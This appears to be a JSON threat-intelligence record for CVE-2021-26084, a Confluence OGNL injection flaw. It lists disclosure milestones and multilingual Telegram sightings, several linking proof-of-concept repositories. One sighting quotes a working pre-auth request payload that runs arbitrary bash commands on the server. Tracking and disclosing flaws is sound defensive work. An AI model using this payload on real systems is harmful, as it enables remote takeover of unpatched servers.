{"metadata": {"vulnerability": "CVE-2021-26084", "count": 687, "kinds": {"milestone": 5, "sighting": 644, "kev": 17, "other": 21}}, "data": [{"timestamp": "2021-01-25T00:00:00Z", "date_only": false, "value": "2021-01-25T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2021-26084", "field": "cveMetadata.dateReserved"}, {"timestamp": "2021-08-10T00:00:00Z", "date_only": false, "value": "2021-08-10T00:00:00", "kind": "other", "label": "DATE PUBLIC", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26084", "field": "containers.cna.x_legacyV4Record.CVE_data_meta.DATE_PUBLIC"}, {"timestamp": "2021-08-10T00:00:00Z", "date_only": false, "value": "2021-08-10T00:00:00", "kind": "other", "label": "DATE PUBLIC", "source": "gsd \u00b7 GSD-2021-26084", "record": "GSD-2021-26084", "field": "namespaces.cve.org.CVE_data_meta.DATE_PUBLIC"}, {"timestamp": "2021-08-10T00:00:00Z", "date_only": false, "value": "2021-08-10T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26084", "field": "containers.cna.datePublic"}, {"timestamp": "2021-08-25T00:00:00Z", "date_only": true, "value": "2021-08-25", "kind": "milestone", "label": "Published", "source": "certfr_alerte \u00b7 CERTFR-2021-ALE-018", "record": "CERTFR-2021-ALE-018", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2021-08-30T06:30:14.248Z", "date_only": false, "value": "2021-08-30T06:30:14.248Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2021-26084", "field": "cveMetadata.datePublished"}, {"timestamp": "2021-08-30T07:15:00Z", "date_only": false, "value": "2021-08-30T07:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-855C-XP53-5FP2", "record": "GHSA-855C-XP53-5FP2", "field": "database_specific.nvd_published_at"}, {"timestamp": "2021-08-30T07:15:00Z", "date_only": false, "value": "2021-08-30T07:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2021-26084", "record": "GSD-2021-26084", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2021-08-30T07:15:06.587Z", "date_only": false, "value": "2021-08-30T07:15:06.587", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-26084", "record": "FKIE_CVE-2021-26084", "field": "published"}, {"timestamp": "2021-08-30T12:32:06Z", "date_only": false, "value": "2021-08-30T12:32:06.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/27991", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6b82be44-557d-4f97-ae60-729df9ed4990", "content": "\u203c CVE-2021-26084 \u203c\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if \u00e2\u20ac\u02dcAllow people to sign up to create their account\u00e2\u20ac\u2122 is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/27991"}, {"timestamp": "2021-08-31T16:38:28Z", "date_only": false, "value": "2021-08-31T16:38:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/434", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a42f80d3-facb-4540-8414-344500582fdc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 - Confluence Pre-Auth RCE | OGNL injection \nURL\uff1ahttps://github.com/carlosevieira/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/434"}, {"timestamp": "2021-09-01T02:26:37Z", "date_only": false, "value": "2021-09-01T02:26:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/440", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1be8c283-cfbf-47df-ba34-be844ac649aa", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 Remote Code Execution on Confluence Servers, Reference: https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\nURL\uff1ahttps://github.com/gh0stkey/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/440"}, {"timestamp": "2021-09-01T03:30:19Z", "date_only": false, "value": "2021-09-01T03:30:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/450", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "688a0e69-e967-4220-bf6c-b0b6e9dfdacf", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 Remote Code Execution on Confluence Servers, reference: https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\nURL\uff1ahttps://github.com/JKme/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/450"}, {"timestamp": "2021-09-01T07:02:48Z", "date_only": false, "value": "2021-09-01T07:02:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ptswarm/66", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7b99d895-d034-41b5-a804-766130879422", "content": "Remote Code Execution on Confluence Servers write-up (CVE-2021-26084)\n\ud83d\udc64 by rootxharsh and iamnoooob\n\nPatch diffing the latest Confluence update results in RCE PoC.\n\nPoC:\nPOST /pages/doenterpagevariables.action HTTP/2\nHost: localhost\nContent-Length: 301\nContent-Type: application/x-www-form-urlencoded\n\nqueryString=aaa\\u0027%2b#{\\u0022\\u0022[\\u0022class\\u0022].forName(\\u0022javax.script.ScriptEngineManager\\u0022).newInstance().getEngineByName(\\u0022js\\u0022).eval(\\u0022var x=new java.lang.ProcessBuilder;x.command([\\u0027/bin/bash\\u0027,\\u0027-c\\u0027,\\u0027'.$cmd.'\\u0027]);x.start()\\u0022)}%2b\\u0027\n\n\ud83d\udcdd Contents:\n \u2022 Analyzing the hot patch\n \u2022 Bypassing isSafeExpression\n \u2022 Bonus - Better Payload\n \u2022 Bonus - Debugging\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/ptswarm/66"}, {"timestamp": "2021-09-01T07:50:00Z", "date_only": false, "value": "2021-09-01T07:50:00.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/460", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8e698200-9605-42c2-9c93-73dc4c679ce7", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 - Confluence Pre-Auth RCE  OGNL injection \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u53ef\u56de\u663e\nURL\uff1ahttps://github.com/r0ckysec/CVE-2021-26084_Confluence", "url": "https://t.me/GithubRedTeam/460"}, {"timestamp": "2021-09-01T09:51:29Z", "date_only": false, "value": "2021-09-01T09:51:29.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/462", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1fa89ef8-6d6f-4226-857f-87d2839d58f8", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 Remote Code Execution on Confluence Servers\nURL\uff1ahttps://github.com/FanqXu/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/462"}, {"timestamp": "2021-09-01T12:21:28Z", "date_only": false, "value": "2021-09-01T12:21:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/463", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "21d38392-11be-4099-9243-07d6f0d90639", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aRemote Code Execution on Confluence Servers : CVE-2021-26084\nURL\uff1ahttps://github.com/Vulnmachines/Confluence_CVE-2021-26084", "url": "https://t.me/GithubRedTeam/463"}, {"timestamp": "2021-09-01T14:06:47Z", "date_only": false, "value": "2021-09-01T14:06:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/is_n3ws/46", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "baf0152c-bc19-40ea-963b-4739979bafe5", "content": "Confluence RCE Exploit - CVE-2021-26084\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 - Confluence Server Webwork OGNL injection.\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 - \u043d\u0430 \u0432\u0445\u043e\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 URL + \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043d\u0430 \u0432\u0438\u043d\u0434\u0435 \u0438\u043b\u0438 \u043b\u0438\u043d\u0443\u043a\u0441\u0435. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f, \u0441\u0440\u043e\u0447\u043d\u043e \u043f\u0430\u0442\u0447\u0438\u043c\u0441\u044f!", "url": "https://t.me/is_n3ws/46"}, {"timestamp": "2021-09-01T15:20:55Z", "date_only": false, "value": "2021-09-01T15:20:55.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/464", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9b611113-1617-46c9-acae-c0614efde19f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 - Confluence Server Webwork OGNL injection (RCE)\nURL\uff1ahttps://github.com/taythebot/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/464"}, {"timestamp": "2021-09-01T16:19:41Z", "date_only": false, "value": "2021-09-01T16:19:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/465", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d4eec4cb-5d64-409a-afce-02e30921645a", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPoC of CVE-2021-26084 written in Golang based on https://twitter.com/jas502n/status/1433044110277890057?s=20\nURL\uff1ahttps://github.com/bcdannyboy/CVE-2021-26084_GoPOC", "url": "https://t.me/GithubRedTeam/465"}, {"timestamp": "2021-09-02T00:48:02Z", "date_only": false, "value": "2021-09-02T00:48:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/469", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "35eaa523-1081-45c1-994c-0d56a161b28f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 - Confluence Pre-Auth RCE | OGNL injection \nURL\uff1ahttps://github.com/AlAIAL90/CVE-2021-28695", "url": "https://t.me/GithubRedTeam/469"}, {"timestamp": "2021-09-02T08:09:14Z", "date_only": false, "value": "2021-09-02T08:09:14.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/tech_b0lt_Genona/2767", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fdcbfefc-e947-43a9-b126-a845320311a4", "content": "\u0422\u0443\u0442 Confluence \u043f\u043e\u0445\u0435\u043a\u0430\u043b\u0438\n\nCVE-2021-26084 Confluence RCE\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/tech_b0lt_Genona/2767"}, {"timestamp": "2021-09-02T08:41:25Z", "date_only": false, "value": "2021-09-02T08:41:25.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/antichat/9864", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7a266d35-bbbd-4ecf-a372-b4f6c8e7e30e", "content": "\u0422\u0443\u0442 Confluence \u043f\u043e\u0445\u0435\u043a\u0430\u043b\u0438\n\nCVE-2021-26084 Confluence RCE\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/antichat/9864"}, {"timestamp": "2021-09-02T10:32:11Z", "date_only": false, "value": "2021-09-02T10:32:11.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_25/2021", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a3a892e1-3a45-4c75-8a6a-8730dcb7b291", "url": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_25/2021"}, {"timestamp": "2021-09-02T11:05:07Z", "date_only": false, "value": "2021-09-02T11:05:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/4203", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ef735802-efc5-42a5-8ab7-21d7f5c3b1cd", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (Aug 1-31)\nCVE-2021-1675 - Print Spooler EoP\nhttps://t.me/cybersecuritytechnologies/3723\nCVE-2021-31956 - Win NTFS EoP\nhttps://t.me/cybersecuritytechnologies/4110\nCVE-2021-36958 - Print Spooler RCE\nhttps://mobile.twitter.com/gentilkiwi/status/1416429860566847490?s=20\nCVE-2021-39137 - A consensus-vuln in go-eth\nCVE-2021-22937 - Pulse ConnSecure RCE\nhttps://t.me/cybersecuritytechnologies/4044\nCVE-2021-34473 - Pre-auth Path Confusion\nhttps://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\nCVE-2021-21225 - Vuln in V8's Array.prototype.concat\nhttps://t.me/cybersecuritytechnologies/4090\nCVE-2021-20090 - Path traversal in Buffalo routers\nhttps://t.me/cybersecuritytechnologies/3986\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nhttps://t.me/cybersecuritytechnologies/4202\nCVE-2021-3711 - Vulns in OpenSSL\nhttps://nakedsecurity.sophos.com/2021/08/27/big-bad-decryption-bug-in-openssl-but-no-cause-for-alarm", "url": "https://t.me/CyberSecurityTechnologies/4203"}, {"timestamp": "2021-09-02T11:42:32Z", "date_only": false, "value": "2021-09-02T11:42:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/493", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "cde0fd5c-68e3-444f-abce-f525a56876d5", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 to verify the vulnerability without executing any commands on the machine \nURL\uff1ahttps://github.com/BeRserKerSec/CVE-2021-26084-Nuclei-template", "url": "https://t.me/GithubRedTeam/493"}, {"timestamp": "2021-09-02T11:51:51Z", "date_only": false, "value": "2021-09-02T11:51:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/4202", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9ec3ecaa-7643-4648-b8c8-798c99440601", "content": "#exploit\nCVE-2021-26084:\nConfluence Server Webwork OGNL Injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\n]-> https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n]-> RCE PoC:\nhttps://github.com/FanqXu/CVE-2021-26084", "url": "https://t.me/CyberSecurityTechnologies/4202"}, {"timestamp": "2021-09-02T13:37:04Z", "date_only": false, "value": "2021-09-02T13:37:04.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/bhhub/532", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "30064982-b363-49aa-8b3f-73c5b4f454e6", "content": "#BugBountyTips of the Day\n403Bypasser - Automates The Techniques Used To Circumvent Access Control Restrictions On Target Pages  https://t.co/YkgJAinOps #cybersecurity #bugbountytips #hacking #tools  https://t.co/lM77m6iKUH\n---\nIn August , i reported 38 vulnerabilities on @Hacker0x01 25 - Duplicate, N/A, Informative 8 - Triaged , resolved  5 -  Pending Bounty Earned - $ 2,400 #bugbounty\n---\nVery detailed analysis of the CVE-2021-26084 Remote Code Execution in Confluence by @iamnoooob and @rootxharsh \ud83d\ude4c   https://t.co/l4xjodcOkB  #cybersecurity #infosec #bugbounty #bugbountytips\n---\n#bugbountytips  https://t.co/39eYuReSVs", "url": "https://t.me/bhhub/532"}, {"timestamp": "2021-09-02T13:56:07Z", "date_only": false, "value": "2021-09-02T13:56:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/sysodmins/12823", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ef1d5d3f-c922-4175-bc57-671d9cf3e03f", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c confluence server < 7.12.5 \u043a\u043e\u043b\u043b\u0435\u0433\u0438, \u043b\u0430\u0442\u0430\u0435\u043c\u044f!\n\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 https://www.exploit-db.com/exploits/50243\n\n\u0425\u0430\u043a\u0435\u0440\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Confluence \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0449\u0443\u0442 \u0432 \u0421\u0435\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Confluence-\u0441\u0435\u0440\u0432\u0435\u0440\u044b.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c Confluence \u0438 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2021-26084, \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u0440\u043e\u0441\u0442 \u0447\u0438\u0441\u043b\u0430 \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0434\u043d\u0438.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0435 Atlassian (\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a Confluence), \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0432\u0437\u043b\u043e\u043c\u0430. \u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443\u0436\u0435 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u043e\u0437\u0434\u043d\u043e. \n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n\n\u0417.\u042b. \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 Confluence \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 60 \u0442\u044b\u0441. \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 Audi, Hubspot, NASA, LinkedIn, Twilio \u0438 Docker.", "url": "https://t.me/sysodmins/12823"}, {"timestamp": "2021-09-02T14:40:56Z", "date_only": false, "value": "2021-09-02T14:40:56.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/wtHP26q0IelVYV6cmqBAYXQUrv2z1jtTyZZL4j8U3Vf5Wg", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "13115ccb-5705-4615-a606-34537006fdf6"}, {"timestamp": "2021-09-02T14:41:52Z", "date_only": false, "value": "2021-09-02T14:41:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/39313", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "11f939fb-2dbb-4648-8c89-4e8c68ba480b", "content": "Attackers are attempting to exploit recently patched Atlassian Confluence CVE-2021-26084 RCE\n\nhttps://ift.tt/3zDS25q", "url": "https://t.me/ctinow/39313"}, {"timestamp": "2021-09-02T19:06:55Z", "date_only": false, "value": "2021-09-02T19:06:55.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/2066", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "48c9b24a-2f2f-4cd5-affe-bca242865f6b", "content": "\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043f\u043e\u0434 \u0443\u0434\u0430\u0440\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u0430\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0439\u0441\u043a\u043e\u0439 IT-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Atlassian, \u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u2014 Jira, Trello \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043b\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b Confluence, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0441\u044f \u043f\u043e\u0447\u0442\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442, \u0440\u0430\u0431\u043e\u0442\u0430\u0432\u0448\u0438\u0439 \u043d\u0430\u0434 \u043a\u0440\u0443\u043f\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u043c\u0438. \u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437\u0430\u0445 \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Confluence, \u043a\u043e\u0438\u0445 \u043f\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e Atlassian \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 60 000 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0430\u043a\u0438\u0435, \u043a\u0430\u043a Audi, Hubspot, NASA, LinkedIn, Twilio \u0438 Docker.\n\n\u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-26084 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Confluence Server \u0438 Confluence Data Center, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u043c\u0438, \u0432\u0438\u043a\u0438-\u0441\u0430\u0439\u0442\u0430\u0445 \u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u0434\u043b\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u043e \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u043c \u043f\u0430\u0442\u0447\u0435 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0430 \u0443\u0433\u0440\u043e\u0437\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u044d\u043d\u0442\u0443\u0437\u0438\u0430\u0441\u0442\u0430\u043c\u0438 \u0438\u043d\u0444\u043e\u0441\u0435\u043a: \u0442\u0430\u043a \u044d\u0442\u043e \u0441\u0430\u043c\u043e\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u0438 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u043e\u0435 \u0432 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0439 \u0442\u0443\u0441\u043e\u0432\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 